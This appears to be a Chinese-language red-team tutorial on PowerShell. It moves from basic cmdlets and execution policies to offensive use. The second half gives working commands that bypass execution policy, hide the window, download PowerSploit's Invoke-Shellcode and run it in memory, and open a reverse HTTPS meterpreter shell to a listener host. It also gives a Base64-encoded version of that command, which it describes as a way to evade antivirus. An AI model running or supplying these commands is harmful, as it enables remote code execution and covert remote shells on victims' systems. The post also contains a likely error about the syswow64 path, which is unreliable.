Window PowerShell 基础
前言
Window PowerShell 是一种命令行外壳程序和脚本环境,内置在 Windows 版本中(Win7、Windows server 2008 R2及更高版本),需要 .NET 环境支持,同时支持 .NET 对象,其可读性、可用性居于所有 Shell 之首。
特点:
- win7 以上版本默认安装
- 脚本可在内存中运行,不需要写入磁盘
- 几乎不会触发杀毒软件
- 可以远程执行
- 目前很多工具基于 PowerShell 开发
- 使 Windows 脚本执行变得更加容易
- 可用于管理活动目录
版本对照:
操作系统 | PowerShell版本 | 是否可升级 |
---|---|---|
win7/win server 2008 | 2.0 | 可升级为3.0、4.0 |
win8/win server 2012 | 3.0 | 可升级为4.0 |
win8/win server 2012 R2 | 4.0 | 否 |
查看 PowerShell 版本
Get-Host
或者 $PSVersionTable.PSVersion
PowerShell 基础概念
1. .ps1 文件
PowerShell 脚本的文件扩展名为 .ps1
。PowerShell 脚本文件中包含一系列 PS 命令,每个命令显示为独立的一行。
2. 执行策略
为了防止使用者执行恶意脚本,PS 提供了一个执行策略。默认情况下,这个执行策略被设置为 “不能运行”。
如果 PS 脚本无法运行,可以使用下面的 cmdlet 命令查询当前的执行策略:
Get-ExecutionPolicy
- Restricted:脚本不能运行(默认设置)
- RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
- AllSigned:仅当脚本由受信任的发布者签名时才能运行。
- Unrestricted:允许所有脚本运行。
可以使用下面的 cmdlet 命令设置 PS 的执行策略:
1 | Set-ExecutionPolicy <policy name> |
3. 运行脚本
要运行一个 PS 脚本,必须输入路径名(绝对路径或相对路径)和文件名。
4. 管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用 |
连接。
下面这个命令的意思是让正在运行的、名字以字符 p
开头的程序停止运行。
1 | Get-Process p* | Stop-Process |
PowerShell 的常用命令
1. 基本知识
在 PowerShell 中,类似 cmd 命令的命令叫作 cmdlet 命令。二者的命名规范一致,都采用 “动词-名词” 的形式,例如 “New-Item”。动词部分一般分为 Add、New、Get、Remove、Set 等。命令的别名一般兼容 windows command 和 Linux Shell,例如 Get-ChildItem
命令在 dir 和 ls 下均可使用。另外,PS 命令不区分大小写。
基本用法:
新建目录:New-Item -Type Directory abc
新建文件:New-Item -Type File abc
删除目录:Remove-Item abc
显示文本内容:Get-Content .\spider.txt
设置文本内容:Set-Content .\spider.txt -Value “redisPy”
追加内容:Add-Content .\spider.txt -Value “flask”
清除内容:Clear-Content .\spider.txt
2. 常用命令
在 Windows 终端提示符下输入 “powershell” ,进入 PS 命令行环境。输入 “help” 命令即可显示帮助菜单。
要运行 PS 脚本,必须使用管理员权限将策略从 Restricted 改成 Unrestricted。所以,需要进行绕过。
(1)绕过本地权限并执行
1 | PowerShell.exe -ExecutionPolicy Bypass -File .\PowerUp.ps1 |
PowerUp.ps1下载地址
powershell (管理员模式下反而没有成功)下可执行:
1 | powershell.exe -exec bypass -Command "& {Import-Module d:\redteam\PowerUp.ps1; Invoke-AllChecks}" |
cmd也通用。
右边是滥用函数的利用方法。
(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行
1 | PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");[Parameters] |
通过浏览 Invoke-Shellcode.ps1 文件,了解如何调用反向 HTTPS meterpreter Shell
最终代码如下:
1 | PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden |
参数说明(括号内为缩写形式)
-ExecutionPolicy Bypass (-Exec Bypass)
:绕过执行安全策略。-WindowStyle Hidden (-W Hidden)
:隐藏窗口-NoInteractive (-NonI)
:非交互模式,PS 不为用户提供交互式的提示-NoProfile (-NoP)
:PS 控制台不加载当前用户的配置文件-noexit
:执行后不退出 Shell ,这个参数在使用键盘记录等脚本时非常重要-NoLogo
:启动不显示版本标志的 PS
(3)使用 Base64 对 PS 命令进行编码
使用 Base64 对 PS 命令进行编码的目的是为了混淆和压缩代码,从而避免脚本因为一些特殊字符被杀软查杀。
可以使用 Python 脚本对所有的 PS 命令进行 Base64 编码。下载Python脚本,使用 Base64 编码对其进行封装。将命令保存为文本文件,才能封装。
需要编码的数据:
1 | IEX(New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.1 -Lport 80 |
进行编码:
1 | ./ps_encoder.py -s raw.txt |
远程主机上执行命令:
1 | Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AYwBoAGUAZQB0AHoALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEMAbwBkAGUARQB4AGUAYwB1AHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAC0AUwBoAGUAbABsAGMAbwBkAGUALgBwAHMAMQApADsASQBuAHYAbwBrAGUALQBTAGgAZQBsAGwAYwBvAGQAZQAgAC0AUABhAHkAbABvAGEAZAAgAHcAaQBuAGQAbwB3AHMALwBtAGUAdABlAHIAcAByAGUAdABlAHIALwByAGUAdgBlAHIAcwBlAF8AaAB0AHQAcABzACAALQBMAGgAbwBzAHQAIAAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAgAC0ATABwAG8AcgB0ACAAOAAwAAoA |
3. 运行 32 位和 64 位 PS
一些 PS 脚本只能运行在指定的平台上。
在 64 位的 Windows 操作系统中,存在 x64 和 x86 版本的 PS,两个版本的执行策略不会互相影响。x64 版本 PS 的配置文件在 %windir%\syswow64\WindowsPowerShell\v1.0
目录下。
- 运行 32 位 PS 脚本:
1 | powershell.exe -NoP -NonI -W Hidden -Exec Bypass |
- 运行 64 位 PS 脚本:
1 | %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass |